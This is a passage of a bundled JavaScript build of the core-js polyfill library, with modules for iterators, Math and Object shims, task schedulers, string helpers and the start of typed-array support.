$iterCreate(Constructor, NAME, next);
var getMethod = function(kind){
if(!BUGGY && kind in proto)return proto[kind];
switch(kind){
case KEYS: return function keys(){ return new Constructor(this, kind); };
case VALUES: return function values(){ return new Constructor(this, kind); };
} return function entries(){ return new Constructor(this, kind); };
};
var TAG = NAME + ' Iterator'
, DEF_VALUES = DEFAULT == VALUES
, VALUES_BUG = false
, proto = Base.prototype
, $native = proto[ITERATOR] || proto[FF_ITERATOR] || DEFAULT && proto[DEFAULT]
, $default = $native || getMethod(DEFAULT)
, $entries = DEFAULT ? !DEF_VALUES ? $default : getMethod('entries') : undefined
, $anyNative = NAME == 'Array' ? proto.entries || $native : $native
, methods, key, IteratorPrototype;
// Fix native
if($anyNative){
IteratorPrototype = getPrototypeOf($anyNative.call(new Base));
if(IteratorPrototype !== Object.prototype){
// Set @@toStringTag to native iterators
setToStringTag(IteratorPrototype, TAG, true);
// fix for some old engines
if(!LIBRARY && !has(IteratorPrototype, ITERATOR))hide(IteratorPrototype, ITERATOR, returnThis);
}
}
// fix Array#{values, @@iterator}.name in V8 / FF
if(DEF_VALUES && $native && $native.name !== VALUES){
VALUES_BUG = true;
$default = function values(){ return $native.call(this); };
}
// Define iterator
if((!LIBRARY || FORCED) && (BUGGY || VALUES_BUG || !proto[ITERATOR])){
hide(proto, ITERATOR, $default);
}
// Plug for library
Iterators[NAME] = $default;
Iterators[TAG] = returnThis;
if(DEFAULT){
methods = {
values: DEF_VALUES ? $default : getMethod(VALUES),
keys: IS_SET ? $default : getMethod(KEYS),
entries: $entries
};
if(FORCED)for(key in methods){
if(!(key in proto))redefine(proto, key, methods[key]);
} else $export($export.P + $export.F * (BUGGY || VALUES_BUG), NAME, methods);
}
return methods;
};
},{"117":117,"32":32,"39":39,"40":40,"52":52,"56":56,"58":58,"74":74,"87":87,"92":92}],54:[function(_dereq_,module,exports){
var ITERATOR = _dereq_(117)('iterator')
, SAFE_CLOSING = false;
try {
var riter = [7][ITERATOR]();
riter['return'] = function(){ SAFE_CLOSING = true; };
Array.from(riter, function(){ throw 2; });
} catch(e){ /* empty */ }
module.exports = function(exec, skipClosing){
if(!skipClosing && !SAFE_CLOSING)return false;
var safe = false;
try {
var arr = [7]
, iter = arr[ITERATOR]();
iter.next = function(){ return {done: safe = true}; };
arr[ITERATOR] = function(){ return iter; };
exec(arr);
} catch(e){ /* empty */ }
return safe;
};
},{"117":117}],55:[function(_dereq_,module,exports){
module.exports = function(done, value){
return {value: value, done: !!done};
};
},{}],56:[function(_dereq_,module,exports){
module.exports = {};
},{}],57:[function(_dereq_,module,exports){
var getKeys = _dereq_(76)
, toIObject = _dereq_(107);
module.exports = function(object, el){
var O = toIObject(object)
, keys = getKeys(O)
, length = keys.length
, index = 0
, key;
while(length > index)if(O[key = keys[index++]] === el)return key;
};
},{"107":107,"76":76}],58:[function(_dereq_,module,exports){
module.exports = false;
},{}],59:[function(_dereq_,module,exports){
// 20.2.2.14 Math.expm1(x)
var $expm1 = Math.expm1;
module.exports = (!$expm1
// Old FF bug
|| $expm1(10) > 22025.465794806719 || $expm1(10) < 22025.4657948067165168
// Tor Browser bug
|| $expm1(-2e-17) != -2e-17
) ? function expm1(x){
return (x = +x) == 0 ? x : x > -1e-6 && x < 1e-6 ? x + x * x / 2 : Math.exp(x) - 1;
} : $expm1;
},{}],60:[function(_dereq_,module,exports){
// 20.2.2.20 Math.log1p(x)
module.exports = Math.log1p || function log1p(x){
return (x = +x) > -1e-8 && x < 1e-8 ? x - x * x / 2 : Math.log(1 + x);
};
},{}],61:[function(_dereq_,module,exports){
// 20.2.2.28 Math.sign(x)
module.exports = Math.sign || function sign(x){
return (x = +x) == 0 || x != x ? x : x < 0 ? -1 : 1;
};
},{}],62:[function(_dereq_,module,exports){
var META = _dereq_(114)('meta')
, isObject = _dereq_(49)
, has = _dereq_(39)
, setDesc = _dereq_(67).f
, id = 0;
var isExtensible = Object.isExtensible || function(){
return true;
};
var FREEZE = !_dereq_(34)(function(){
return isExtensible(Object.preventExtensions({}));
});
var setMeta = function(it){
setDesc(it, META, {value: {
i: 'O' + ++id, // object ID
w: {} // weak collections IDs
}});
};
var fastKey = function(it, create){
// return primitive with prefix
if(!isObject(it))return typeof it == 'symbol' ? it : (typeof it == 'string' ? 'S' : 'P') + it;
if(!has(it, META)){
// can't set metadata to uncaught frozen object
if(!isExtensible(it))return 'F';
// not necessary to add metadata
if(!create)return 'E';
// add missing metadata
setMeta(it);
// return object ID
} return it[META].i;
};
var getWeak = function(it, create){
if(!has(it, META)){
// can't set metadata to uncaught frozen object
if(!isExtensible(it))return true;
// not necessary to add metadata
if(!create)return false;
// add missing metadata
setMeta(it);
// return hash weak collections IDs
} return it[META].w;
};
// add metadata on freeze-family methods calling
var onFreeze = function(it){
if(FREEZE && meta.NEED && isExtensible(it) && !has(it, META))setMeta(it);
return it;
};
var meta = module.exports = {
KEY: META,
NEED: false,
fastKey: fastKey,
getWeak: getWeak,
onFreeze: onFreeze
};
},{"114":114,"34":34,"39":39,"49":49,"67":67}],63:[function(_dereq_,module,exports){
var Map = _dereq_(150)
, $export = _dereq_(32)
, shared = _dereq_(94)('metadata')
, store = shared.store || (shared.store = new (_dereq_(256)));
var getOrCreateMetadataMap = function(target, targetKey, create){
var targetMetadata = store.get(target);
if(!targetMetadata){
if(!create)return undefined;
store.set(target, targetMetadata = new Map);
}
var keyMetadata = targetMetadata.get(targetKey);
if(!keyMetadata){
if(!create)return undefined;
targetMetadata.set(targetKey, keyMetadata = new Map);
} return keyMetadata;
};
var ordinaryHasOwnMetadata = function(MetadataKey, O, P){
var metadataMap = getOrCreateMetadataMap(O, P, false);
return metadataMap === undefined ? false : metadataMap.has(MetadataKey);
};
var ordinaryGetOwnMetadata = function(MetadataKey, O, P){
var metadataMap = getOrCreateMetadataMap(O, P, false);
return metadataMap === undefined ? undefined : metadataMap.get(MetadataKey);
};
var ordinaryDefineOwnMetadata = function(MetadataKey, MetadataValue, O, P){
getOrCreateMetadataMap(O, P, true).set(MetadataKey, MetadataValue);
};
var ordinaryOwnMetadataKeys = function(target, targetKey){
var metadataMap = getOrCreateMetadataMap(target, targetKey, false)
, keys = [];
if(metadataMap)metadataMap.forEach(function(_, key){ keys.push(key); });
return keys;
};
var toMetaKey = function(it){
return it === undefined || typeof it == 'symbol' ? it : String(it);
};
var exp = function(O){
$export($export.S, 'Reflect', O);
};
module.exports = {
store: store,
map: getOrCreateMetadataMap,
has: ordinaryHasOwnMetadata,
get: ordinaryGetOwnMetadata,
set: ordinaryDefineOwnMetadata,
keys: ordinaryOwnMetadataKeys,
key: toMetaKey,
exp: exp
};
},{"150":150,"256":256,"32":32,"94":94}],64:[function(_dereq_,module,exports){
var global = _dereq_(38)
, macrotask = _dereq_(104).set
, Observer = global.MutationObserver || global.WebKitMutationObserver
, process = global.process
, Promise = global.Promise
, isNode = _dereq_(18)(process) == 'process';
module.exports = function(){
var head, last, notify;
var flush = function(){
var parent, fn;
if(isNode && (parent = process.domain))parent.exit();
while(head){
fn = head.fn;
head = head.next;
try {
fn();
} catch(e){
if(head)notify();
else last = undefined;
throw e;
}
} last = undefined;
if(parent)parent.enter();
};
// Node.js
if(isNode){
notify = function(){
process.nextTick(flush);
};
// browsers with MutationObserver
} else if(Observer){
var toggle = true
, node = document.createTextNode('');
new Observer(flush).observe(node, {characterData: true}); // eslint-disable-line no-new
notify = function(){
node.data = toggle = !toggle;
};
// environments with maybe non-completely correct, but existent Promise
} else if(Promise && Promise.resolve){
var promise = Promise.resolve();
notify = function(){
promise.then(flush);
};
// for other environments - macrotask based on:
// - setImmediate
// - MessageChannel
// - window.postMessag
// - onreadystatechange
// - setTimeout
} else {
notify = function(){
// strange IE + webpack dev server bug - use .call(global)
macrotask.call(global, flush);
};
}
return function(fn){
var task = {fn: fn, next: undefined};
if(last)last.next = task;
if(!head){
head = task;
notify();
} last = task;
};
};
},{"104":104,"18":18,"38":38}],65:[function(_dereq_,module,exports){
'use strict';
// 19.1.2.1 Object.assign(target, source, ...)
var getKeys = _dereq_(76)
, gOPS = _dereq_(73)
, pIE = _dereq_(77)
, toObject = _dereq_(109)
, IObject = _dereq_(45)
, $assign = Object.assign;
// should work with symbols and should have deterministic property order (V8 bug)
module.exports = !$assign || _dereq_(34)(function(){
var A = {}
, B = {}
, S = Symbol()
, K = 'abcdefghijklmnopqrst';
A[S] = 7;
K.split('').forEach(function(k){ B[k] = k; });
return $assign({}, A)[S] != 7 || Object.keys($assign({}, B)).join('') != K;
}) ? function assign(target, source){ // eslint-disable-line no-unused-vars
var T = toObject(target)
, aLen = arguments.length
, index = 1
, getSymbols = gOPS.f
, isEnum = pIE.f;
while(aLen > index){
var S = IObject(arguments[index++])
, keys = getSymbols ? getKeys(S).concat(getSymbols(S)) : getKeys(S)
, length = keys.length
, j = 0
, key;
while(length > j)if(isEnum.call(S, key = keys[j++]))T[key] = S[key];
} return T;
} : $assign;
},{"109":109,"34":34,"45":45,"73":73,"76":76,"77":77}],66:[function(_dereq_,module,exports){
// 19.1.2.2 / 15.2.3.5 Object.create(O [, Properties])
var anObject = _dereq_(7)
, dPs = _dereq_(68)
, enumBugKeys = _dereq_(30)
, IE_PROTO = _dereq_(93)('IE_PROTO')
, Empty = function(){ /* empty */ }
, PROTOTYPE = 'prototype';
// Create object with fake `null` prototype: use iframe Object with cleared prototype
var createDict = function(){
// Thrash, waste and sodomy: IE GC bug
var iframe = _dereq_(29)('iframe')
, i = enumBugKeys.length
, gt = '>'
, iframeDocument;
iframe.style.display = 'none';
_dereq_(41).appendChild(iframe);
iframe.src = 'javascript:'; // eslint-disable-line no-script-url
// createDict = iframe.contentWindow.Object;
// html.removeChild(iframe);
iframeDocument = iframe.contentWindow.document;
iframeDocument.open();
iframeDocument.write('<script>document.F=Object</script' + gt);
iframeDocument.close();
createDict = iframeDocument.F;
while(i--)delete createDict[PROTOTYPE][enumBugKeys[i]];
return createDict();
};
module.exports = Object.create || function create(O, Properties){
var result;
if(O !== null){
Empty[PROTOTYPE] = anObject(O);
result = new Empty;
Empty[PROTOTYPE] = null;
// add "__proto__" for Object.getPrototypeOf polyfill
result[IE_PROTO] = O;
} else result = createDict();
return Properties === undefined ? result : dPs(result, Properties);
};
},{"29":29,"30":30,"41":41,"68":68,"7":7,"93":93}],67:[function(_dereq_,module,exports){
var anObject = _dereq_(7)
, IE8_DOM_DEFINE = _dereq_(42)
, toPrimitive = _dereq_(110)
, dP = Object.defineProperty;
exports.f = _dereq_(28) ? Object.defineProperty : function defineProperty(O, P, Attributes){
anObject(O);
P = toPrimitive(P, true);
anObject(Attributes);
if(IE8_DOM_DEFINE)try {
return dP(O, P, Attributes);
} catch(e){ /* empty */ }
if('get' in Attributes || 'set' in Attributes)throw TypeError('Accessors not supported!');
if('value' in Attributes)O[P] = Attributes.value;
return O;
};
},{"110":110,"28":28,"42":42,"7":7}],68:[function(_dereq_,module,exports){
var dP = _dereq_(67)
, anObject = _dereq_(7)
, getKeys = _dereq_(76);
module.exports = _dereq_(28) ? Object.defineProperties : function defineProperties(O, Properties){
anObject(O);
var keys = getKeys(Properties)
, length = keys.length
, i = 0
, P;
while(length > i)dP.f(O, P = keys[i++], Properties[P]);
return O;
};
},{"28":28,"67":67,"7":7,"76":76}],69:[function(_dereq_,module,exports){
// Forced replacement prototype accessors methods
module.exports = _dereq_(58)|| !_dereq_(34)(function(){
var K = Math.random();
// In FF throws only define methods
__defineSetter__.call(null, K, function(){ /* empty */});
delete _dereq_(38)[K];
});
},{"34":34,"38":38,"58":58}],70:[function(_dereq_,module,exports){
var pIE = _dereq_(77)
, createDesc = _dereq_(85)
, toIObject = _dereq_(107)
, toPrimitive = _dereq_(110)
, has = _dereq_(39)
, IE8_DOM_DEFINE = _dereq_(42)
, gOPD = Object.getOwnPropertyDescriptor;
exports.f = _dereq_(28) ? gOPD : function getOwnPropertyDescriptor(O, P){
O = toIObject(O);
P = toPrimitive(P, true);
if(IE8_DOM_DEFINE)try {
return gOPD(O, P);
} catch(e){ /* empty */ }
if(has(O, P))return createDesc(!pIE.f.call(O, P), O[P]);
};
},{"107":107,"110":110,"28":28,"39":39,"42":42,"77":77,"85":85}],71:[function(_dereq_,module,exports){
// fallback for IE11 buggy Object.getOwnPropertyNames with iframe and window
var toIObject = _dereq_(107)
, gOPN = _dereq_(72).f
, toString = {}.toString;
var windowNames = typeof window == 'object' && window && Object.getOwnPropertyNames
? Object.getOwnPropertyNames(window) : [];
var getWindowNames = function(it){
try {
return gOPN(it);
} catch(e){
return windowNames.slice();
}
};
module.exports.f = function getOwnPropertyNames(it){
return windowNames && toString.call(it) == '[object Window]' ? getWindowNames(it) : gOPN(toIObject(it));
};
},{"107":107,"72":72}],72:[function(_dereq_,module,exports){
// 19.1.2.7 / 15.2.3.4 Object.getOwnPropertyNames(O)
var $keys = _dereq_(75)
, hiddenKeys = _dereq_(30).concat('length', 'prototype');
exports.f = Object.getOwnPropertyNames || function getOwnPropertyNames(O){
return $keys(O, hiddenKeys);
};
},{"30":30,"75":75}],73:[function(_dereq_,module,exports){
exports.f = Object.getOwnPropertySymbols;
},{}],74:[function(_dereq_,module,exports){
// 19.1.2.9 / 15.2.3.2 Object.getPrototypeOf(O)
var has = _dereq_(39)
, toObject = _dereq_(109)
, IE_PROTO = _dereq_(93)('IE_PROTO')
, ObjectProto = Object.prototype;
module.exports = Object.getPrototypeOf || function(O){
O = toObject(O);
if(has(O, IE_PROTO))return O[IE_PROTO];
if(typeof O.constructor == 'function' && O instanceof O.constructor){
return O.constructor.prototype;
} return O instanceof Object ? ObjectProto : null;
};
},{"109":109,"39":39,"93":93}],75:[function(_dereq_,module,exports){
var has = _dereq_(39)
, toIObject = _dereq_(107)
, arrayIndexOf = _dereq_(11)(false)
, IE_PROTO = _dereq_(93)('IE_PROTO');
module.exports = function(object, names){
var O = toIObject(object)
, i = 0
, result = []
, key;
for(key in O)if(key != IE_PROTO)has(O, key) && result.push(key);
// Don't enum bug & hidden keys
while(names.length > i)if(has(O, key = names[i++])){
~arrayIndexOf(result, key) || result.push(key);
}
return result;
};
},{"107":107,"11":11,"39":39,"93":93}],76:[function(_dereq_,module,exports){
// 19.1.2.14 / 15.2.3.14 Object.keys(O)
var $keys = _dereq_(75)
, enumBugKeys = _dereq_(30);
module.exports = Object.keys || function keys(O){
return $keys(O, enumBugKeys);
};
},{"30":30,"75":75}],77:[function(_dereq_,module,exports){
exports.f = {}.propertyIsEnumerable;
},{}],78:[function(_dereq_,module,exports){
// most Object methods by ES6 should accept primitives
var $export = _dereq_(32)
, core = _dereq_(23)
, fails = _dereq_(34);
module.exports = function(KEY, exec){
var fn = (core.Object || {})[KEY] || Object[KEY]
, exp = {};
exp[KEY] = exec(fn);
$export($export.S + $export.F * fails(function(){ fn(1); }), 'Object', exp);
};
},{"23":23,"32":32,"34":34}],79:[function(_dereq_,module,exports){
var getKeys = _dereq_(76)
, toIObject = _dereq_(107)
, isEnum = _dereq_(77).f;
module.exports = function(isEntries){
return function(it){
var O = toIObject(it)
, keys = getKeys(O)
, length = keys.length
, i = 0
, result = []
, key;
while(length > i)if(isEnum.call(O, key = keys[i++])){
result.push(isEntries ? [key, O[key]] : O[key]);
} return result;
};
};
},{"107":107,"76":76,"77":77}],80:[function(_dereq_,module,exports){
// all object keys, includes non-enumerable and symbols
var gOPN = _dereq_(72)
, gOPS = _dereq_(73)
, anObject = _dereq_(7)
, Reflect = _dereq_(38).Reflect;
module.exports = Reflect && Reflect.ownKeys || function ownKeys(it){
var keys = gOPN.f(anObject(it))
, getSymbols = gOPS.f;
return getSymbols ? keys.concat(getSymbols(it)) : keys;
};
},{"38":38,"7":7,"72":72,"73":73}],81:[function(_dereq_,module,exports){
var $parseFloat = _dereq_(38).parseFloat
, $trim = _dereq_(102).trim;
module.exports = 1 / $parseFloat(_dereq_(103) + '-0') !== -Infinity ? function parseFloat(str){
var string = $trim(String(str), 3)
, result = $parseFloat(string);
return result === 0 && string.charAt(0) == '-' ? -0 : result;
} : $parseFloat;
},{"102":102,"103":103,"38":38}],82:[function(_dereq_,module,exports){
var $parseInt = _dereq_(38).parseInt
, $trim = _dereq_(102).trim
, ws = _dereq_(103)
, hex = /^[\-+]?0[xX]/;
module.exports = $parseInt(ws + '08') !== 8 || $parseInt(ws + '0x16') !== 22 ? function parseInt(str, radix){
var string = $trim(String(str), 3);
return $parseInt(string, (radix >>> 0) || (hex.test(string) ? 16 : 10));
} : $parseInt;
},{"102":102,"103":103,"38":38}],83:[function(_dereq_,module,exports){
'use strict';
var path = _dereq_(84)
, invoke = _dereq_(44)
, aFunction = _dereq_(3);
module.exports = function(/* ...pargs */){
var fn = aFunction(this)
, length = arguments.length
, pargs = Array(length)
, i = 0
, _ = path._
, holder = false;
while(length > i)if((pargs[i] = arguments[i++]) === _)holder = true;
return function(/* ...args */){
var that = this
, aLen = arguments.length
, j = 0, k = 0, args;
if(!holder && !aLen)return invoke(fn, pargs, that);
args = pargs.slice();
if(holder)for(;length > j; j++)if(args[j] === _)args[j] = arguments[k++];
while(aLen > k)args.push(arguments[k++]);
return invoke(fn, args, that);
};
};
},{"3":3,"44":44,"84":84}],84:[function(_dereq_,module,exports){
module.exports = _dereq_(38);
},{"38":38}],85:[function(_dereq_,module,exports){
module.exports = function(bitmap, value){
return {
enumerable : !(bitmap & 1),
configurable: !(bitmap & 2),
writable : !(bitmap & 4),
value : value
};
};
},{}],86:[function(_dereq_,module,exports){
var redefine = _dereq_(87);
module.exports = function(target, src, safe){
for(var key in src)redefine(target, key, src[key], safe);
return target;
};
},{"87":87}],87:[function(_dereq_,module,exports){
var global = _dereq_(38)
, hide = _dereq_(40)
, has = _dereq_(39)
, SRC = _dereq_(114)('src')
, TO_STRING = 'toString'
, $toString = Function[TO_STRING]
, TPL = ('' + $toString).split(TO_STRING);
_dereq_(23).inspectSource = function(it){
return $toString.call(it);
};
(module.exports = function(O, key, val, safe){
var isFunction = typeof val == 'function';
if(isFunction)has(val, 'name') || hide(val, 'name', key);
if(O[key] === val)return;
if(isFunction)has(val, SRC) || hide(val, SRC, O[key] ? '' + O[key] : TPL.join(String(key)));
if(O === global){
O[key] = val;
} else {
if(!safe){
delete O[key];
hide(O, key, val);
} else {
if(O[key])O[key] = val;
else hide(O, key, val);
}
}
// add fake Function#toString for correct work wrapped methods / constructors with methods like LoDash isNative
})(Function.prototype, TO_STRING, function toString(){
return typeof this == 'function' && this[SRC] || $toString.call(this);
});
},{"114":114,"23":23,"38":38,"39":39,"40":40}],88:[function(_dereq_,module,exports){
module.exports = function(regExp, replace){
var replacer = replace === Object(replace) ? function(part){
return replace[part];
} : replace;
return function(it){
return String(it).replace(regExp, replacer);
};
};
},{}],89:[function(_dereq_,module,exports){
// 7.2.9 SameValue(x, y)
module.exports = Object.is || function is(x, y){
return x === y ? x !== 0 || 1 / x === 1 / y : x != x && y != y;
};
},{}],90:[function(_dereq_,module,exports){
// Works with __proto__ only. Old v8 can't work with null proto objects.
/* eslint-disable no-proto */
var isObject = _dereq_(49)
, anObject = _dereq_(7);
var check = function(O, proto){
anObject(O);
if(!isObject(proto) && proto !== null)throw TypeError(proto + ": can't set as prototype!");
};
module.exports = {
set: Object.setPrototypeOf || ('__proto__' in {} ? // eslint-disable-line
function(test, buggy, set){
try {
set = _dereq_(25)(Function.call, _dereq_(70).f(Object.prototype, '__proto__').set, 2);
set(test, []);
buggy = !(test instanceof Array);
} catch(e){ buggy = true; }
return function setPrototypeOf(O, proto){
check(O, proto);
if(buggy)O.__proto__ = proto;
else set(O, proto);
return O;
};
}({}, false) : undefined),
check: check
};
},{"25":25,"49":49,"7":7,"70":70}],91:[function(_dereq_,module,exports){
'use strict';
var global = _dereq_(38)
, dP = _dereq_(67)
, DESCRIPTORS = _dereq_(28)
, SPECIES = _dereq_(117)('species');
module.exports = function(KEY){
var C = global[KEY];
if(DESCRIPTORS && C && !C[SPECIES])dP.f(C, SPECIES, {
configurable: true,
get: function(){ return this; }
});
};
},{"117":117,"28":28,"38":38,"67":67}],92:[function(_dereq_,module,exports){
var def = _dereq_(67).f
, has = _dereq_(39)
, TAG = _dereq_(117)('toStringTag');
module.exports = function(it, tag, stat){
if(it && !has(it = stat ? it : it.prototype, TAG))def(it, TAG, {configurable: true, value: tag});
};
},{"117":117,"39":39,"67":67}],93:[function(_dereq_,module,exports){
var shared = _dereq_(94)('keys')
, uid = _dereq_(114);
module.exports = function(key){
return shared[key] || (shared[key] = uid(key));
};
},{"114":114,"94":94}],94:[function(_dereq_,module,exports){
var global = _dereq_(38)
, SHARED = '__core-js_shared__'
, store = global[SHARED] || (global[SHARED] = {});
module.exports = function(key){
return store[key] || (store[key] = {});
};
},{"38":38}],95:[function(_dereq_,module,exports){
// 7.3.20 SpeciesConstructor(O, defaultConstructor)
var anObject = _dereq_(7)
, aFunction = _dereq_(3)
, SPECIES = _dereq_(117)('species');
module.exports = function(O, D){
var C = anObject(O).constructor, S;
return C === undefined || (S = anObject(C)[SPECIES]) == undefined ? D : aFunction(S);
};
},{"117":117,"3":3,"7":7}],96:[function(_dereq_,module,exports){
var fails = _dereq_(34);
module.exports = function(method, arg){
return !!method && fails(function(){
arg ? method.call(null, function(){}, 1) : method.call(null);
});
};
},{"34":34}],97:[function(_dereq_,module,exports){
var toInteger = _dereq_(106)
, defined = _dereq_(27);
// true -> String#at
// false -> String#codePointAt
module.exports = function(TO_STRING){
return function(that, pos){
var s = String(defined(that))
, i = toInteger(pos)
, l = s.length
, a, b;
if(i < 0 || i >= l)return TO_STRING ? '' : undefined;
a = s.charCodeAt(i);
return a < 0xd800 || a > 0xdbff || i + 1 === l || (b = s.charCodeAt(i + 1)) < 0xdc00 || b > 0xdfff
? TO_STRING ? s.charAt(i) : a
: TO_STRING ? s.slice(i, i + 2) : (a - 0xd800 << 10) + (b - 0xdc00) + 0x10000;
};
};
},{"106":106,"27":27}],98:[function(_dereq_,module,exports){
// helper for String#{startsWith, endsWith, includes}
var isRegExp = _dereq_(50)
, defined = _dereq_(27);
module.exports = function(that, searchString, NAME){
if(isRegExp(searchString))throw TypeError('String#' + NAME + " doesn't accept regex!");
return String(defined(that));
};
},{"27":27,"50":50}],99:[function(_dereq_,module,exports){
var $export = _dereq_(32)
, fails = _dereq_(34)
, defined = _dereq_(27)
, quot = /"/g;
// B.2.3.2.1 CreateHTML(string, tag, attribute, value)
var createHTML = function(string, tag, attribute, value) {
var S = String(defined(string))
, p1 = '<' + tag;
if(attribute !== '')p1 += ' ' + attribute + '="' + String(value).replace(quot, '"') + '"';
return p1 + '>' + S + '</' + tag + '>';
};
module.exports = function(NAME, exec){
var O = {};
O[NAME] = exec(createHTML);
$export($export.P + $export.F * fails(function(){
var test = ''[NAME]('"');
return test !== test.toLowerCase() || test.split('"').length > 3;
}), 'String', O);
};
},{"27":27,"32":32,"34":34}],100:[function(_dereq_,module,exports){
// https://github.com/tc39/proposal-string-pad-start-end
var toLength = _dereq_(108)
, repeat = _dereq_(101)
, defined = _dereq_(27);
module.exports = function(that, maxLength, fillString, left){
var S = String(defined(that))
, stringLength = S.length
, fillStr = fillString === undefined ? ' ' : String(fillString)
, intMaxLength = toLength(maxLength);
if(intMaxLength <= stringLength || fillStr == '')return S;
var fillLen = intMaxLength - stringLength
, stringFiller = repeat.call(fillStr, Math.ceil(fillLen / fillStr.length));
if(stringFiller.length > fillLen)stringFiller = stringFiller.slice(0, fillLen);
return left ? stringFiller + S : S + stringFiller;
};
},{"101":101,"108":108,"27":27}],101:[function(_dereq_,module,exports){
'use strict';
var toInteger = _dereq_(106)
, defined = _dereq_(27);
module.exports = function repeat(count){
var str = String(defined(this))
, res = ''
, n = toInteger(count);
if(n < 0 || n == Infinity)throw RangeError("Count can't be negative");
for(;n > 0; (n >>>= 1) && (str += str))if(n & 1)res += str;
return res;
};
},{"106":106,"27":27}],102:[function(_dereq_,module,exports){
var $export = _dereq_(32)
, defined = _dereq_(27)
, fails = _dereq_(34)
, spaces = _dereq_(103)
, space = '[' + spaces + ']'
, non = '\u200b\u0085'
, ltrim = RegExp('^' + space + space + '*')
, rtrim = RegExp(space + space + '*$');
var exporter = function(KEY, exec, ALIAS){
var exp = {};
var FORCE = fails(function(){
return !!spaces[KEY]() || non[KEY]() != non;
});
var fn = exp[KEY] = FORCE ? exec(trim) : spaces[KEY];
if(ALIAS)exp[ALIAS] = fn;
$export($export.P + $export.F * FORCE, 'String', exp);
};
// 1 -> String#trimLeft
// 2 -> String#trimRight
// 3 -> String#trim
var trim = exporter.trim = function(string, TYPE){
string = String(defined(string));
if(TYPE & 1)string = string.replace(ltrim, '');
if(TYPE & 2)string = string.replace(rtrim, '');
return string;
};
module.exports = exporter;
},{"103":103,"27":27,"32":32,"34":34}],103:[function(_dereq_,module,exports){
module.exports = '\x09\x0A\x0B\x0C\x0D\x20\xA0\u1680\u180E\u2000\u2001\u2002\u2003' +
'\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u202F\u205F\u3000\u2028\u2029\uFEFF';
},{}],104:[function(_dereq_,module,exports){
var ctx = _dereq_(25)
, invoke = _dereq_(44)
, html = _dereq_(41)
, cel = _dereq_(29)
, global = _dereq_(38)
, process = global.process
, setTask = global.setImmediate
, clearTask = global.clearImmediate
, MessageChannel = global.MessageChannel
, counter = 0
, queue = {}
, ONREADYSTATECHANGE = 'onreadystatechange'
, defer, channel, port;
var run = function(){
var id = +this;
if(queue.hasOwnProperty(id)){
var fn = queue[id];
delete queue[id];
fn();
}
};
var listener = function(event){
run.call(event.data);
};
// Node.js 0.9+ & IE10+ has setImmediate, otherwise:
if(!setTask || !clearTask){
setTask = function setImmediate(fn){
var args = [], i = 1;
while(arguments.length > i)args.push(arguments[i++]);
queue[++counter] = function(){
invoke(typeof fn == 'function' ? fn : Function(fn), args);
};
defer(counter);
return counter;
};
clearTask = function clearImmediate(id){
delete queue[id];
};
// Node.js 0.8-
if(_dereq_(18)(process) == 'process'){
defer = function(id){
process.nextTick(ctx(run, id, 1));
};
// Browsers with MessageChannel, includes WebWorkers
} else if(MessageChannel){
channel = new MessageChannel;
port = channel.port2;
channel.port1.onmessage = listener;
defer = ctx(port.postMessage, port, 1);
// Browsers with postMessage, skip WebWorkers
// IE8 has postMessage, but it's sync & typeof its postMessage is 'object'
} else if(global.addEventListener && typeof postMessage == 'function' && !global.importScripts){
defer = function(id){
global.postMessage(id + '', '*');
};
global.addEventListener('message', listener, false);
// IE8-
} else if(ONREADYSTATECHANGE in cel('script')){
defer = function(id){
html.appendChild(cel('script'))[ONREADYSTATECHANGE] = function(){
html.removeChild(this);
run.call(id);
};
};
// Rest old browsers
} else {
defer = function(id){
setTimeout(ctx(run, id, 1), 0);
};
}
}
module.exports = {
set: setTask,
clear: clearTask
};
},{"18":18,"25":25,"29":29,"38":38,"41":41,"44":44}],105:[function(_dereq_,module,exports){
var toInteger = _dereq_(106)
, max = Math.max
, min = Math.min;
module.exports = function(index, length){
index = toInteger(index);
return index < 0 ? max(index + length, 0) : min(index, length);
};
},{"106":106}],106:[function(_dereq_,module,exports){
// 7.1.4 ToInteger
var ceil = Math.ceil
, floor = Math.floor;
module.exports = function(it){
return isNaN(it = +it) ? 0 : (it > 0 ? floor : ceil)(it);
};
},{}],107:[function(_dereq_,module,exports){
// to indexed object, toObject with fallback for non-array-like ES3 strings
var IObject = _dereq_(45)
, defined = _dereq_(27);
module.exports = function(it){
return IObject(defined(it));
};
},{"27":27,"45":45}],108:[function(_dereq_,module,exports){
// 7.1.15 ToLength
var toInteger = _dereq_(106)
, min = Math.min;
module.exports = function(it){
return it > 0 ? min(toInteger(it), 0x1fffffffffffff) : 0; // pow(2, 53) - 1 == 9007199254740991
};
},{"106":106}],109:[function(_dereq_,module,exports){
// 7.1.13 ToObject(argument)
var defined = _dereq_(27);
module.exports = function(it){
return Object(defined(it));
};
},{"27":27}],110:[function(_dereq_,module,exports){
// 7.1.1 ToPrimitive(input [, PreferredType])
var isObject = _dereq_(49);
// instead of the ES6 spec version, we didn't implement @@toPrimitive case
// and the second argument - flag - preferred type is a string
module.exports = function(it, S){
if(!isObject(it))return it;
var fn, val;
if(S && typeof (fn = it.toString) == 'function' && !isObject(val = fn.call(it)))return val;
if(typeof (fn = it.valueOf) == 'function' && !isObject(val = fn.call(it)))return val;
if(!S && typeof (fn = it.toString) == 'function' && !isObject(val = fn.call(it)))return val;
throw TypeError("Can't convert object to primitive value");
};
},{"49":49}],111:[function(_dereq_,module,exports){
'use strict';
if(_dereq_(28)){
var LIBRARY = _dereq_(58)
, global = _dereq_(38)
, fails = _dereq_(34)
, $export = _dereq_(32)
, $typed = _dereq_(113)
, $buffer = _dereq_(112)
, ctx = _dereq_(25)
, anInstance = _dereq_(6)
, propertyDesc = _dereq_(85)
, hide = _dereq_(40)
, redefineAll = _dereq_(86)
, isInteger = _dereq_(48)
, toInteger = _dereq_(106)
, toLength = _dereq_(108)
, toIndex = _dereq_(105)
, toPrimitive = _dereq_(110)
, has = _dereq_(39)
, same = _dereq_(89)
, classof = _dereq_(17)
, isObject = _dereq_(49)
, toObject = _dereq_(109)
, isArrayIter = _dereq_(46)
, create = _dereq_(66)
, getPrototypeOf = _dereq_(74)
, gOPN = _dereq_(72).f
, isIterable = _dereq_(119)
, getIterFn = _dereq_(118)
, uid = _dereq_(114)
, wks = _dereq_(117)
, createArrayMethod = _dereq_(12)
, createArrayIncludes = _dereq_(11)
, speciesConstructor = _dereq_(95)
, ArrayIterators = _dereq_(131)
, Iterators = _dereq_(56)
, $iterDetect = _dereq_(54)
, setSpecies = _dereq_(91)
, arrayFill = _dereq_(9)
, arrayCopyWithin = _dereq_(8)
, $DP = _dereq_(67)
